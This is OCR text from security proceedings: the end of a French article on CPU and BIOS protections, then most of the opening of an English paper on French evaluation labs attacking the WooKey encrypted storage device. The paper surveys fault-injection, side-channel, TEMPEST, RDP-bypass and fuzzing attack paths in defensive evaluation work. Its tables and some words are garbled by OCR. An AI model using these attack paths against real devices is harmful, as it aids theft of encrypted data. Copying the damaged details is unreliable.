>»to enable control for STIBP
by the software/05

CPUID (EAX=7H ECX=0)

"Against SpectreV/2"

EDX[26] = 1
>> ENUMerates support
for |ERS and |EFE

EDX(27]= 1
»> t0 ENUMerate support
for STIBP

EDN[29] = 1
>> to enumerate support for the
|1A32_ARCH_CAPABILITIES MSR

"Against Intel DC| Debug"

bit 4 > HDCIEN = 0
>> 10 disable DO Direct Connect Interface

Fig. 20. Registres et bits protégeant le CPU
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trés certainement utilisés en pratique mais il est bien rare de les identifier
tant leur niveau de complexité est élevé, sans compter que peu de monde
tente de les détecter.

Une attention accrue portée aux enjeux des interfaces entre le matériel
et le logiciel, et la prise en compte du matériel dans les analyses de risque
semblent inéluctables. Ainsi, 'ajout d’exigences de sécurité sur le matériel
acquis par le gouvernement francais a été effectué et sont proposées a
tous.

Ces exigences sont complétées par des tests réels sur les plates-formes
soumises, avec des moyens la encore proposés a tous et reposant sur Chipsec.
Cet outil pratique est aujourd’hui un incontournable dans 1’évaluation de
la sécurité des plate-formes Intel, il serait dommage de ne pas I’exploiter.

La complexité des systemes actuels, illustrée dans cet article, montre
le défi a atteindre pour augmenter le niveau de sécurité des utilisateurs.
Cependant, le niveau de maturité de I'industrie semble progresser petit a
petit, que ce soit les fabricants de processeurs ou les constructeurs avec qui
nous avons pu échanger dans le cadre de la rédaction des exigences. Ainsi,
suite aux nombreuses vulnérabilités dans ses CPU, Intel aussi fait des
efforts concernant la sécurité et le montre en soutenant le projet Chipsec
et en communiquant sur les vulnérabilités affectant leurs CPU [14]. Intel
propose également sur ses plate-formes récentes des solutions rassurantes
telles que Intel Boot Guard et Intel Bios Guard protégeant la manipulation
de toute la séquence de démarrage UEFI en vérifiant I'intégrité des codes
du firmware UEFI (pendant les phases SEC, PEI, DXE et BDS) fournis
par les constructeurs (les signatures de confiance étant stockées de maniere
sécurisée via des fusibles du CPU ou dans un TPM). Ainsi, avec Secure
Boot, la chalne de démarrage est protégée de bout en bout depuis le
chargement du premier code UEFT jusqu’au lancement du chargeur de
démarrage UEFI et du noyau du systéme d’exploitation. Par ailleurs, les
constructeurs et fournisseurs de BIOS sont de plus en plus attentifs a
fournir un paramétrage sécurisé de leurs systémes.

En ce qui concerne les moyens de détection pour les BIOS déja com-
promis, comme a pu le constater ESET suite a ’analyse de LoJax, ils
sont difficiles & mettre en oeuvre. Les premiéres pistes envisageables pour
répondre a cette problématique de détection pourraient étre, comme le
propose le service open-source de distribution de mises a jour firmware
fwupd,? de constituer une base de BIOS assez volumineuse pour sortir des
statistiques exploitables et identifier des charges malveillantes.

3. https://fwupd.org
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Inter-CESTI: Methodological and Technical
Feedbacks on Hardware Devices Evaluations

ANSSI, Amossys, EDSI, LETI, Lexfo, Oppida, Quarkslab, SERMA,
Synacktiv, Thales, Trusted Labs

Abstract. The aim of the current article is to provide both methodolog-
ical and technical feedback on the “Inter-CESTI” challenge organized
by ANSSI in 2019 with all 10 ITSEFs licensed for the French CSPN
scheme. The purpose of this challenge is to evaluate their approaches to
attack a common target representative of the “Hardware devices with
boxes” domain, which groups products containing embedded software
and combines hardware and software security elements. The common
target chosen was the open-source and open-hardware project WooKey,
presented at SSTIC 2018 [30, 31]. It is a relevant test vehicle both in
terms of software and hardware due to its architecture and threat model.
The article aims to capitalize on the feedback from the challenge, with
a focus on the hardware and software tests that the labs were able to
conduct in a white box setting, as well as the identified attack paths.

1 Context

Traditionally, an Information Technology Security Evaluation Facility
(ITSEF) is licensed by the ANSSI’s Centre national de certification (CCN,
french for National Certification Body) for a given domain, either software
or hardware. ITSEFs licensed for software generally deal more with software
evaluations (VPN, anti-virus, disk encryption software, etc.). Whereas
ITSEFs licensed for hardware focus on evaluating targets closer to hardware
products (smart cards, accelerated encryption hardware, etc.).

The “Hardware devices with security boxes” domain includes HSM
(Hardware Security Modules), smart meters and various embedded systems.
An analysis of this type of product shows a high degree of interdependence
between embedded software and the underlying hardware, a feature not
found as strongly in the classical purely software or purely hardware areas.
This means that in order to evaluate this type of product, a laboratory
must necessarily have a dual competence: software and hardware. The
strict distinction between these two areas is thus tending to blur. We
have indeed noted during the licensing audits of the ITSEFs that those
identified in one of the domains may also have skills in the other domain.

The “Hardware devices with security boxes” domain is unfortunately
only found under the Common Criteria (CC) [4] scheme for which only
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a part of the ITSEFs are licensed. However, France also has a national
scheme, called Certification de Sécurité de Premier Niveau (CSPN) [1],
but where this domain does not exist. As a result, many ITSEFs that are
not licensed for CC cannot demonstrate their competence in evaluating
products intertwining software and hardware. A possible new CSPN
domain “Hardware Device” is therefore being considered to fill this gap.

It so happens that CCN organizes annual challenges to test the skills
of ITSEFs, usually with a separation between hardware and software
challenges. In the hereabove described context, it has been decided to
organize a common “Hardware Device” challenge in 2019, which reflects
this domain, and which would allow skill evaluation of all ten ITSEFs
for this potential new CSPN domain. To accentuate the difficulty and
stimulate the relevance of the outcome, the ITSEFs are encouraged to
step out of their comfort zones via dedicated test plans where the ANSSI
has selected security functions: the so-called “software” ITSEFs have been
allocated a majority of hardware tests, while the so-called “hardware”
ITSEFs have tested more software functions.

For this challege’s test vehicle, CCN wanted to find a representative
product of the “Hardware Device” domain, with, if possible, an open-
source design to ease the characterization of the paths of attack and white
box testing. The choice fell on the WooKey project [25,30,31] developed
at ANSSI for which laboratory experts can more easily appreciate the
work of the ITSEFs, and eventually provide them technical assistance.

In this article, we first give a quick description of the WooKey product
and the elements that made up the test vehicle. We then briefly present the
envisaged attack surface and the different attack paths distributed over the
ten ITSEFs. Finally, we give various concrete attack paths explored and/or
exploited by the I'TSEFs with, for each of them, a context, reproducible
results and a small quotation.

2 WooKey: the challenge test vehicle

The WooKey project [30,31] has been selected as a test vehicle for its
very representativeness of the “Hardware Device” domain: its hardware
design and software architecture (rich in external interfaces) lead to
numerous attack paths to undermine the product security. Beyond the
attacks themselves, the methodology and test plans of the ITSEFs are
a relevant element taken into account for their evaluation (including
assessment of their understanding of the target).

WooKey is composed of two main elements (shown on Figure 1):
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— A device containing an STM32 MCU (MicroController Unit), a
touch screen for user interaction, a micro-SD slot, two USB ports
(full-speed and high-speed) and a slot for inserting a standard credit
card size smart card.

— An authentication token in the form of an extractable contact
smart card (communicating via an ISO7816 bus).

When running in nominal mode, Wookey is a disk encrypting platform
allowing to store user’s data on a micro-SD card while ensuring their
confidentiality. Access to the platform’s master secrets is done after a
strong user authentication phase involving two factors: an AUTH smart
card and two PIN codes (PetPIN and UserPIN). To unlock his WooKey,
the user inserts this authentication token in the device, enters his PetPIN
on the touch screen, validates a PetName to ensure that the token is
correct, then enters his UserPIN to completely unlock the platform. From
there, the device connected via USB to a host PC is presented as a mass
storage device, and the user can drop and retrieve data with transparent
(de)encryption. PIN unlocking actually allows the decryption master key to
be retrieved from the token and injected into the cryptographic accelerator
of the platform’s microcontroller.

WooKey provides another running mode: Device Firmware Upgrade
or DFU. In this mode, the device waits for an encrypted and signed
update file that upgrades the embedded firmware. In order to unlock
this mode, the user presses the physical button to start the platform in
DFU mode, inserts a dedicated token (called DFU token), enters PINs
(PetPIN, validates PetName, then UserPIN) relevant to this token, and
thus accesses the device from the host PC via USB as a DFU class device.

The firmware is encrypted and signed on a trusted PC, using a third
dedicated token named SIG (inserted in a generic smart card reader on
the PC) and containing notably the private firmware signing key.

WooKey’s security relies on various elements of defense in depth:

— A software protection of the firmware through a microkernel written
in ADA (type-safe language), isolated tasks with dedicated userland
device drivers (for USB, micro-SD card, smart card, display). Thus,
a vulnerability from an exposed interface should be confined to the
task managing this interface. Additional software security elements
are used to reinforce protection: stack canaries, WX thanks to the
MPU (Memory Protection Unit), etc.

— Cryptographic protection of sensitive assets, thanks in particular to
tokens based on secure components evaluated at level EAL4+ [11]
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of the Common Criteria and ensuring robustness against several
classes of attacks.

For the sake of brevity, we do not give more information about the
WooKey project here. The reader is invited to check the bibliographic
references [30,31] and the project documentation [25] for more details. More
information can also be found in the CSPN security target evaluation [26]
that has been provided to the ITSEFs for the challenge.

o

Fig. 1. “Closed” WooKey tar-
get Fig. 2. “Open” WooKey target

3 Evaluation scope of the challenge

The main attacks we are interested in for this challenge are software
and hardware pre-authentication attacks, software post-authentication
attacks, stealthy hardware pos-authentication attacks, and this on both
the WooKey platform and its AUTH and DFU tokens. Attacks bypassing
the firmware verification at startup and at update time are also considered.
The parts of the tokens covered by their CC EAL4+ certification (notably
the Integrated Circuit IC and the Javacard platform) are not considered
relevant, only the code of the Javacard applets that runs on these tokens
on top of the VM is in the scope of the evaluation.

Hardware trapping and relay attacks, although interesting, are left
aside as less relevant to the challenge: the product is inherently suscep-
tible to such attacks. On the other hand, purely software trapping in
pre-authentication phases of a platform, or cloning of a platform must be
considered. These two scenarios are equivalent in the context of WooKey
because it is open-source and open-hardware without hardware “counter-
feiting” countermeasures: modifying the firmware of a genuine WooKey or
making a new one with the firmware of another brings the same attacks
aiming at stealing sensitive assets by pilferage attacks (possibly twice).
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The reason motivating our choice concerning the relevant attack paths
is the fact that an attacker who has to carry out hardware attacks or
combined attacks (hardware and software) will necessarily have an invasive
aspect, and will not be able to carry them out during the user authenti-
cation phase without him being aware of it. From this observation arise
the pre-authentication aspects of hardware attacks. Notable exceptions
in post-authentication are stealthy hardware attacks or combined attacks
that can be conducted without modifying the board and the token, during
the user authentication, and without the user noticing anything. Examples
of such attacks are for instance passive secrets recovery at wide-range
(with an antenna and so on), exploiting the USB interface consumption as
a wiretap to steal sensitive assets, or use voltage glitching through USB
to advantageously deflect nominal code execution.

Software attacks are for their part completely relevant in post-
authentication: infiltrating the firmware of a WooKey after entering the
user’s PINs from a malicious USB stack on the host PC or from a trapped
SD card to exploit a vulnerability in the platform’s SDIO stack are plausi-
ble scenarios.

Within the context of the challenge, a CSPN-type security target
grouping sensitive assets, usage contexts and security functions was written
and provided to the ITSEFs. This security target is made public as a
companion document to this article [26]. Finally, each ITSEFs was provided
with:

— A completely open WooKey platform (see Figure 2) with
JTAG/SWD accessible, and three AUTH/DFU/GIS open and
reprogrammable tokens.

— A closed WooKey platform (see Figure 1) with locked JTAG/SWD
(in RDP2), and two AUTH/DFU closed tokens (in the GlobalPlat-

form sense).

4 Identified attack paths and distribution methodology

In order to organize the distribution of the large amount of work
covered by the security target [26] to the various ITSEFs, we have split
the relevant attack paths between the software and hardware domains.
Beyond the search for vulnerabilities, the conformity of the product to
the announced specifications must also be verified and validated by the
ITSEF.

Each attack path can lead to a partial attack, a combination of them
may eventually lead to a complete attack path of the product in various
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scenarios such as theft, trapping, trapping with remediation and possibly
second flight, etc. As mentioned earlier, in order to be able to evaluate the
capacities of software ITSEFs to deal with hardware attacks, and conversely
of hardware ITSEFs to deal with software attacks, it was decided to assign
each ITSEF attacks at the margin of his area of competence. The results
of this distribution are very interesting, and show that the hybrid aspect
of the “Hardware Device” domain allows I'TSEFs to find relevant attack
paths.

On the software side, the goal of the attacker is to exploit a vulnerability
in the code to hijack the operation of the product and recover assets. The
vulnerabilities considered are those that are purely software, notably Run-
Time Errors (stack and heap buffer overflows, integer overflows, etc.) as
well as logic errors in state machines. We have identified four axes:

Static analysis and fuzzing of the exposed code

— Faxposed software stacks: the most important software elements
exposed to the outside are the software stacks managing the com-
munication interfaces. The ISO7816 bus handles communication
with the authentication token, the USB bus handles communi-
cation with the host PC, the SDIO bus handles communication
with the SD card, and the SPI bus handles communication with
the touch screen. A vulnerability exploited in one of the software
stacks handling them allows the control of the corresponding
task (in particular, the tasks managing the AUTH and DFU
tokens contain sensitive elements in their memory space).

— Syscalls: system calls are a potential entry point to either
perform a privilege escalation, or to contaminate another task
(e.g. via poor IPC management/implementation), or to establish
covert channels between tasks.

The analysis of the Bootloader The WooKey Bootloader is a crit-
cal software element. On one hand it is executed at boot time and
decides which partition will be executed on the platform (upon
integrity checking and verification of its version). On the other
hand it is not updatable. It is therefore crucial to check the proper
functioning of its state machines. The goal of the Bootloader study
is to find by code proofreading, fuzzing and other analyses, re-
maining vulnerabilities as well as weaknesses/fragility to software
attacks.

MPU management analysis and privilege separation The
MPU (Memory Protection Unit) is the cornerstone of WooKey’s
software defense in depth since it allows task partitioning and the
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WPX enforcement. It is therefore important to validate by static
analysis, code review or dynamic analysis (from each task) the
correct configuration of the MPU by the kernel.

Analysis of the Javacard applets On the token side, the applets
are implemented using the Javacard language. The underlying NXP
JCOP J3D081 platform is certified by the Common Criteria [11]
ensuring resistance to some advanced attacks. Nevertheless, it is
important to validate that the implementation of state machines
and the product applet life cycle is free of vulnerabilities. For
instance, insure that it is impossible to extract sensitive assets
without prior authentication with PINs (in case of loss or theft
with token delivery for example). Moreover, as some algorithms
are not exposed or made available by the platform API, they have
been fully implemented in Javacard (this is the case for example
of the CTR mode of the AES, the HMAC, etc.), as they are not
covered by the Common Criteria certification. It is hence important
to validate that these custom implementations are not subject to
cryptographic weaknesses, and are SCA (Side-Channel Attacks) as
well as FIA (Fault Injection Attacks) resistant.

On the hardware side, the attacks foreseen in the CSPN framework are
those using hardware at a price considered as “reasonable”, e.g. oscilloscope,
logic analyser, common and/or accessible electronic hardware (MCU-based
development boards, FPGA, ChipWhisperer [3], etc.). Attacks using chip
stripping (e.g. heavy chemistry), laser faults, FIB (Focused Ion Beam),
etc., are considered to be too highly rated (and therefore out of scope).

In particular, we consider appropriate Fault Injection Attacks (FIA)
using voltage glitch [32], clock glitch or EM (electromagnetic emanations)
glitch [2] to be in scope. These attacks, as opposed to laser injections,
do not require chip stripping neither complex nor expensive hardware.
Disrupting the voltage requires, for example, an FPGA and an oscilloscope,
costing a few hundred euros (plus a rather “simple” preparation of the
target to be attacked by generally minor modifications of the PCB).

Fault injection and glitch attacks (FIA) These attacks focus on
the glitch which allows, via the injection of one or more faults, to
hijack security primitives. The rating of such attacks is interesting
because it must take into account the target preparation time (for
example removing parasitic capacities on the PCB), the mapping
time to find exploitable faults (spatial and/or temporal mapping),
the probability that an exploitable fault will occur, etc. Stealthy
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FIA that do not require any preparation or PCB modification (e.g.
discrete injection through USB) are of course very relevant as they
either do not require stealing the target for a very long time, or
allow a direct attack without any stealing.

— Attacks against RDP: RDP (Readout Protection) is the tech-
nology implemented in STM32 MCUs to protect flash data and
remove access to JTAG/SWD. RDP seems to be quite prone to
faults as recent publications have shown [21,32,49]. A successful
pre-authentication attack on RDP would allow the trapping or
cloning of a WooKey.

— PFragility of the Bootloader: the Bootloader implements itself
protections against RDP downgrade, in order to potentially
detect a successful fault injection before its execution. The
Bootloader is also supposed to check the integrity and manage
an anti-rollback mechanism on the partitions present in the
internal flash. All these elements are potentially “faulty”, and
the analysis of their robustness is interesting.

— Sensitive code fragility: generally speaking, any task or kernel
code exposed and sensitive to glitches in pre-authentication is
an interesting attack surface to evaluate, and this in relation to
and according to the fault model characterized on the target.

Side-Channel Attacks (SCA) Some cryptographic primitives are

used in WooKey for pre-authentication, and for those that manip-
ulate secret data it may be interesting to evaluate their robustness
to SCA. These attacks would make it possible to extract the se-
crets via the acquisition of consumption curves or electromagnetic
emanations. They can be devastating, specifically if such attacks
are possible in a stealthy way (e.g. with an antenna at a wide-range
from the target, through monitoring the USB interface, etc.): in this
case, even post-authentication attack scenarios must be considered.
In this last case, SCA somewhat meet TEMPEST evaluations (see
below).

Analysis of communication buses The target contains several

buses on which potentially sensitive data transit. Notably, the
ISO7816 bus between the platform and the token is supposed to es-
tablish a secure communication channel: it is important to validate
its conformity. The SDIO bus allows to interact with the dedicated
task, and potentially to take control of it in case of a programming
error. Logic analyzers allow bus sniffing, as well as potentially
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induce malformed packets injections allowing, for example, fuzzing
at the lowest protocol level.

TEMPEST attacks PIN entry is done on a touch screen, which
implies potential remote EM leaks regarding the keys pressed by
the legitimate user during authentication. Knowing that these
elements could be captured several meters away using a well-sized
antenna (and therefore discreetly), a TEMPEST evaluation of the
product is relevant.

Finally, and as previously mentioned, although interesting, attacks
by hardware trapping of the platform (especially relay attacks) are also
studied but with a lower priority.

5 Attacks overview: a reader’s digest

In the sequel of the article, various (partial or complete) attack paths
analysis performed by the ITSEFs during the challenge are reported in
detail. Although this does not cover all the analysis and all the explored
paths (for brevity reasons and to avoid an illegible article), the most
relevant results are compiled.

These results provide insightful details about the adopted technical
methodology, the necessary equipment and setup (software and hardware),
the found vulnerabilities and weaknesses and their possible (partial or
total) exploitation in the light of WooKey’s threat model and security
target [26]. In order to provide the reader a bird’s view of these results,
the current section classifies them in categories and places them in an
exploitation context with regard to WooKey. We also provide links between
described partial attacks that would lead to a more complete attack path,
as well as some results that can be used as technical inputs to other results,
that would improve the overall analysis.

The reader should also be aware that most of the described evaluations
have been conducted by various ITSEFs in an independent and parallel
way. This can induce some intersections between the descriptions, and
some explainable redundancies in the performed tests and explanations. In
any case, such a redundancy is interesting since it also allows to capture
different approaches for the same target problem. As a matter of fact,
WooKey’s Bootloader robustness against FIA has been widely stressed,
and sections 14, 16, 9 and 15 tackle various methodologies (EM and voltage
glitches, formal methods) to find defects and exploit them in this rather
critical piece of code. Finally, all the performed tests are not presented in
the current article mainly for concision considerations: we have selected
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what we believe to be relevant and complementary attack paths. For
instance, fuzzing campaigns on the USB stack are not presented, although
being apposite, as they provided less interesting feedback and results than
other approaches.

Our classification of the evaluations and attacks, albeit somewhat
artificial, tries to capture the big thematic axis presented in 4. Table 1
provides a good overview of the 15 attack paths detailed in the current
article, with their corresponding section references and the various techni-
cal aspects they cover. We can roughly distinguish three kinds of attack
paths (but this distinction is not exclusive, an attack path can be in more
than one category):

— First, the ones that are oriented towards software exploits (buffer
overflows, automatons weaknesses, etc.) and only use software
techniques (i.e. no PCB preparation or advanced equipment): @
involves a pure software fuzzing of the ISO7816 driver and the
token abstraction library (exploiting their portability); @ finds
a privilege escalation in the EwoK microkernel through syscalls
software fuzzing; @ explores MPU configuration using dedicated
task instrumentation. @ tries with the help of static code review
to check that the automatons in the Javacard tokens do not present
software weaknesses. @ uses formal methods to explore potential
RTE (RunTime Errors) in the Bootloader code.

— Then, we have paths that are dedicated to evaluate physical attacks
resistance, mainly against SCA and FIA. These attacks usually
involve PCB preparation and dedicated equipment to be exploited,
and encompass scenarios where the WooKey platform and/or the
token are stolen for a certain amount of time. The main notable
exceptions are TEMPEST attacks since they require a dedicated
equipment, but do not require to steal the target and operate
stealthily. @ reviews ECDSA and ECDH code against SCA during
pre-authentications attacks to recover the platform ECDSA key.
@ exploits a leakage in the HMAC computation of the platform
keys authenticity tag to extract encrypted platform keys using SCA.
@ uses FIA with voltage glitches to try to bypass the STM32
Readout Protection that prevents adversaries to read the MCU
internal flash. @ explores EM fault injection effects on WooKey’s
Bootloader, more particularly on internal firmware integrity check.
@ uses voltage glitches to perform FIA and defeat the firmware

anti-rollback mechanism. @ shows the relevance of TEMPEST
attacks on the SPI bus, and the results have to be coupled with
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@ that analyses SPI communication details and paves the way to

decoding them. Finally, @ also analyses Javacard applets for heir
robustness against physical attacks and provides best practices.
— The inter-CESTI challenge has also exhibited interesting attack
paths that are neither purely software nor hardware, but are rather
so called hybrid attacks that advantageously mix the two aspects.
A good example of this is @ where a voltage glitch is used to

trigger and exploit a buffer overflow in the ISO7816 library. @
deeply analyses the SDIO software layer with bus fuzzing in mind
(in order to find software vulnerabilities), which requires a ded-
icated hardware setup. @, although already classified both in
software (RTE) and physical (FIA) attacks, also finds its place in
hybrid ones: static code analysis and formal methods are used to
find FIA exploitable spots and deceive anti-rollback. @ mixes a
cryptographic weakness during pre-authentication with SPI bus
instrumentation to perform a bruteforce attack on the PetPIN.
Finally, @ checks the conformity of the Secure Channel protocol
using specification review and bus ISO7816 sniffing.

Since the attack paths and their place in the threat mode of the target
can be tedious to evaluate, we have represented on Figure 3 an overview of
the most representative scenarios that have emerged from the inter-CESTI
challenge. From bottom to top of Figure 3, we consider what the adversary
must do (steal the platform or the token or only stealthily observe them).
Then, what attacks in Table 1 might be used to obtain or modify one
of the critical assets (the encrypted platform keys EPK, the PetPIN and
PetName, the internal flash, etc.). Each asset recovery primitive can lead
to trapping the platform and/or the token, and takes place in a more
elaborate scenario where the adversary finally recovers the most sensitive
assets, i.e. the user data encryption master secrets (MasterKey, etc.).

Regarding the attacks, we distinguish pure software attacks |@| where no
complex equipment is necessary from the ones [@] where PCB modifications,
instrumentations and/or time (e.g. for multiple acquisitions or trials) are
necessary, typically to perform SCA and FIA. represents attacks that
might require PCB modifications for readiness, but could optionally be
performed otherwise with less efficiency. Finally, [@] illustrates fully passive
and stealthy attacks (mainly TEMPEST based ones). Paths represented
with - -» show how partial attacks can lead to other steps and unlock a full
attack path to sensitive user assets recovery, while — are straightforwardly
applicable. Paths represented with -~ are considered complex “as is”
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Static code

analysis/review

Software

exploitation

Software

fuzzing

Hardware

fuzzing

MPU

analysis

Bus
sniffing

Bus

injection

Crypto

attack

SCA

FIA

TEMPEST

9 Javacard applets analysis (section 6)

X

@ 1ibiso7816 and libtoken fuzzing (section 8)

@ 1ibiso7816 glitch attack (section 9)

@ EwoK privilege escalation (section 10)

@ MPU configuration review (section 11)

@ PetPIN bruteforce attack (section 7.1)

9 Secure Channel review (section 7.2)

@ ECDSA physical attacks (section 12)

@ HMAC physical attacks (section 13)

e Bootloader: RDP2 downgrade (section 14)

e Bootloader: integrity check bypass (section 15)

e Bootloader: anti-rollback bypass (section 16)

@ SDIO bus analysis (section 17)

e SPI bus analysis (section 18)

@ SPI TEMPEST (section 19)

Table 1. Presented attacks classification
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because they either require more investigation to be practical, or are
blocked by other defense in depth mechanisms.

Some interesting elements can be observed on Figure 3: practically
recovering the user data encryption assets requires scenarios that involve
stealing either the platform or the token, trapping them, putting them
back to deceive the legitimate user, and get back the assets by other
means (e.g. stealing the platform or token again, or send them using radio
communication in an advanced hardware trapping scenario). In all these
cases, the stolen elements must be attacked using PCB preparation and
hardware attacks that could be destructive: the adversary can provide
a hardware clone in this case. The pure software privilege escalation
can help to modify the attacked platform when it is fixable to give it
back and deceive the user (i.e. this prevents investing too much money in
fabricating a new cloned platform).

All in all, many of the discovered attack paths have been extensively
patched by the WooKey project in recent commits. @, @ and @ have
direct and forthright patches that discard the attacks. @, @ and @
advice some code improvements and mitigation (that have been indeed
developed) even though no practical attack have been found and/or other
defense in depth mechanisms prevent exploitation. @, @, and @ did
not leverage concrete exploitable attack paths, so nothing to do here.
and @, related to TEMPEST attacks, are a work in progress as they
require more characterization and could result in hardware modifications.
Finally, @, @, @ and @ are the most tedious to address as they are a
direct consequence of the STM32 susceptibility to FIA. Best efforts have
been put (using double checks and so on) in recent commits to achieve
some minimum robustness level, although no absolute “formal proof” can
be provided here.! It should be however noticed that such attacks take
place in quite elaborate and complex scenarios involving stealing (possibly
twice) the platform and deceiving the user with a trapped device. Almost
equivalent (yet more complex to mount) threats are relay attacks, that
are very hard to mitigate in an open-source and open-hardware context.

6 Analysis of the tokens: Javacard applets

The WooKey tokens (AUTH, DFU and SIG) are critical pieces of the
project as they protect the main sensitive assets. Hence, an analysis of the

1. This is even more true when including compilation and optimization related issues.
Software code FIA resistance is an ongoing academic and industrial research topic.
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applets implementation regarding their automatons and their compliance
with Javacard coding best practices is necessary.

6.1 Threat model

The rationale behind the three token types automatons is that almost
no command 2 should be allowed outside the Secure Channel that should
be established with a legitimate platform through mutual authentication.
The idea with limiting the command set here is attack surface reduction
at its strict minimum in the pre-authentication phase. Moreover, all the
“privileged” commands (retrieving sensitive assets) must only be accessible
after a full user authentication using his PetPIN and then his UserPIN.

The underlying possible attacks cover very critical software and logical
attacks on the automatons where the assets could be retrieved only by
interacting with the token through APDUs without advanced equipment
(e.g. using a buffer leak in the APDU memory), by bypassing the user
authentication (e.g. bad verification of the PINs), or by exploiting bad
implementations of the Secure Channel yielding in command injection
without authentication.

Beyond “pure software” attacks, side-channel and faults injection ro-
bustness of the code is also put under the microscope. The main issue with
such an analysis is that this robustness may heavily rely on the underlying
chip and Javacard VM countermeasures. Such elements should however
be covered by the EAL4+ certification. Consequently, the assumptions
taken in the next analysis are the following:

— All the native algorithms (AES, ECDSA, ECDH, SHA, etc.) and

modes (ECB, CBC, etc.) are supposed to be resistant against
SCA and FIA. On the other hand, algorithms and modes that
do not directly call the Javacard API (i.e. partially or completely
implemented in Javacard) should be scrutinized for robustness
against such attacks.

— PIN handling primitives (OwnerPIN offered by the Javacard API)
should be resistant against common attacks.

— GlobalPlatform token locking is working as specified and no new
applet can be loaded on the smart cards without knowing the
dedicated secret key.

Since in the WooKey project each token is physically dedicated to its

role, and since no new applet can be loaded on the token, attacks where a

2. The two exceptions are the command used for the platform keys PK decryption,
and the command establishing the Secure Channel.
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malicious applet tries to attack the project applets (using shared static
variables or a bad implementation) can be discarded from the security
analysis since only trusted applets are loaded on the locked tokens.

By extension, attacks abusing possible VM vulnerabilities with regard
to the Javacard security model such as type confusion and firewall is-
sues [41] can also be discarded (even if such attacks should be covered by
the EAL4+ certification).

As a side note, around 20 man days have been allocated to the applets
code review.

6.2 Analysis of the Javacard tokens

Overview of the Javacard tokens code The first step of the evaluation
consisted in the code architecture analysis of the three token types AUTH
(user authentication for nominal mode), DFU (open a firmware update
session and derive keys in DFU mode), and SIG (open a signing session
and sign the firmware with ECDSA on a trusted PC host).

An overview of the code architecture is presented in Table 2. Three
different applets are compiled, one for each token. Most of the code is
shared among all the applets and is present in the common/ folder. For
each token, a dedicated applet class (WooKeyAuth for the AUTH token,
WooKeyDFU for the DFU token, WooKeyDFU for the DFU token, WooKeySIG
for the SIG token) extends a shared WooKey class. This shared class
implements all the APDU commands that handle the Secure Channel, the
user authentication and token life cycle regarding the PINs and PetName.
WooKeyAuth adds a command to handle the user SD card master encryption
key retrieval after a successful authentication. WooKeyDFU and WooKeySIG
implement commands that handle firmware verification and signature using
session keys derivation sessions. Finally, the (private) folder contains the
personalization data for each token as static buffers that are automatically
generated by the WooKey SDK.

The tokens have two phases during their life cycle:

1. Personalization phase: at the first select of the applets, objects and
buffers are allocated and some personalization data is instantiated
in dedicated internal objects.

2. Nominal phase: the instantiated objects are used without new
allocations.
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Folder Token Files Usage
Spe.c1ﬁc files WooKeyAuth. java AUTH token specific code
auth/ dedicated to :
AUTH token (129 lines) (GetKey command)
Aes. java AES object and dedicated methods
(353 lines) (CBC, CTR, etc.)
ECKeyPair. java Wrapper object for ECC private
(12 lines) and public key pair
SecureChannel. java|Methods for the Secure Channel
(406 lines) handling
ECCurves. java ECCurves object and methods for
(588 lines) ECDSA signature and ECDH

Files that are
common/ |common to
all tokens

Hmac. java

(352 lines) HMAC object and methods

WooKey object and methods, handling
common token commands (opening

the Secure Channel, authentication, etc.)
Code specific to the DFU token (dedicated
commands to open an update session and

WooKey. java
(609 lines)

Specific files

. WooKeyDFU. j
dfu/ dedicated to |hoonoY Java

(299 lines)

DFU token derive keys)
Specific files WooKevSIG. iava Code specific to the SIG token (dedicated
sig/ dedicated to (427 li};es) - commands to open a signature session and
SIG token derive keys)
Specific files . . .. s
(private) |dedicated to Keys. java Static class containing personalization
P (32 lines) keys, PetName and PINs

private data

Table 2. Overview of the Javacard tokens source code tree
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Assets protection analysis In the (private) folder, a dedicated Javac-
ard class Keys. java is generated by the WooKey SDK (see Listing 1).
The elements of this class are passed as arguments to the WooKey common
class constructor at the personalization phase at the first applet selection
as shown on Listing 2. Consequently, the static buffers present in the
Keys class are used to instantiate internal objects such as ECC keys:
for instance, 32 bytes OurPrivKeyBuf is used to fill an internal Javacard
ECPrivateKey object. Since ECPrivateKey is provided by the native API,
it should be safe to use and covered by the EAL4+ certification. Once the
initialization of the ECPrivateKey has been performed, the static buffer
Keys.OurPrivKeyBuf is zeroized.

3. See WooKey security target [26] for assets details.

Key / . | Asset cleaning o Type
perso data e | Slag st method DEse destination
Constructor and
tati W.sch 1. K ECPrivat
OurPrivKeyBuf : ieja; 32 |[A13]|self_destroy_card() Paizwzneerogiijie Kg rivate
Y in WooKey class Pper. v v
static (SSRGS e W.schannel.QOurKe ECPublic
OurPubKeyBuf | 0 65 |[A13]|self_destroy_card() P;irWra ez" PubKZ e
y in WooKey class pper- 4 v
. Constructor and .
WooKeyPubKey static W.schannel.WooKey ECPublic
Buf bytel] 65 self_destroy_card() KeyPairWrapper.PubKey |Ke
v in WooKey class 4 PpeT - 4 Y
. static self_destroy_card() |W.schannel.ec_context.
LibECCparans bytel] 2 in WooKey class ECCparams bytel]
. Constructor and
. static . .
PetPin 4 | [A3] |self_destroy_card() |W.pet_pin OwnerPIN
bytell .
in WooKey class
PetN tati
etiame static) [A4] |Never W.PetNameLength short
Length short
static self_destroy_card()
PetN. 4 | [A4 = - .
etiame byte[] 64 | [A4] in WooKey class W.PetNane bytell
. Constructor and
. static .
UserPin 4 | [A2] |self_destroy_card() |W.user_pin OwnerPIN
bytell -
in WooKey class
MasterSecretKey static 32 | [A9] §elf_destroy_card() None N/A
bytel] in each applet
EncLocalPet static self_destroy_card()
SecretKey bytel] 64 | [AG] in WooKey class None N/A
static W.pet_pin and
max_pin_tries |final 1 Never -pet_p X OwnerPIN
W.user_pin
byte
max_secure static W.sc_max
- . final | 1 Never oo short
_channel_tries failed_attempts
short
Table 3. Javacard tokens assets ® review
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package wookey_auth;
class Keys {
static byte[] OurPrivKeyBuf = { (byte)Ox2d, (byte)0x87,

};

static byte[] OurPubKeyBuf = { (byte)0x04, (byte)Oxc3,
};

static byte[] WooKeyPubKeyBuf = { (byte)0x04, (byte)O0x91,
R

static byte[] LibECCparams = { (byte)0x01, (byte)0x01,

»3
static byte[] PetPin = { (byte)O0x31, (byte)0x32, (byte)0x33,
(byte)0x34, ... I};

static short PetNameLength = 5;

static byte[] PetName = { (byte)0x57, (byte)Ox6f, ... };

static byte[] UserPin = { (byte)0x31, (byte)0x33, (byte)0x33
, (byte)0x37, ... };

static byte[] MasterSecretKey = { (byte)0x27, (byte)0x59,
...}

static byte[] EncLocalPetSecretKey = { (byte)Oxa6, (byte)O
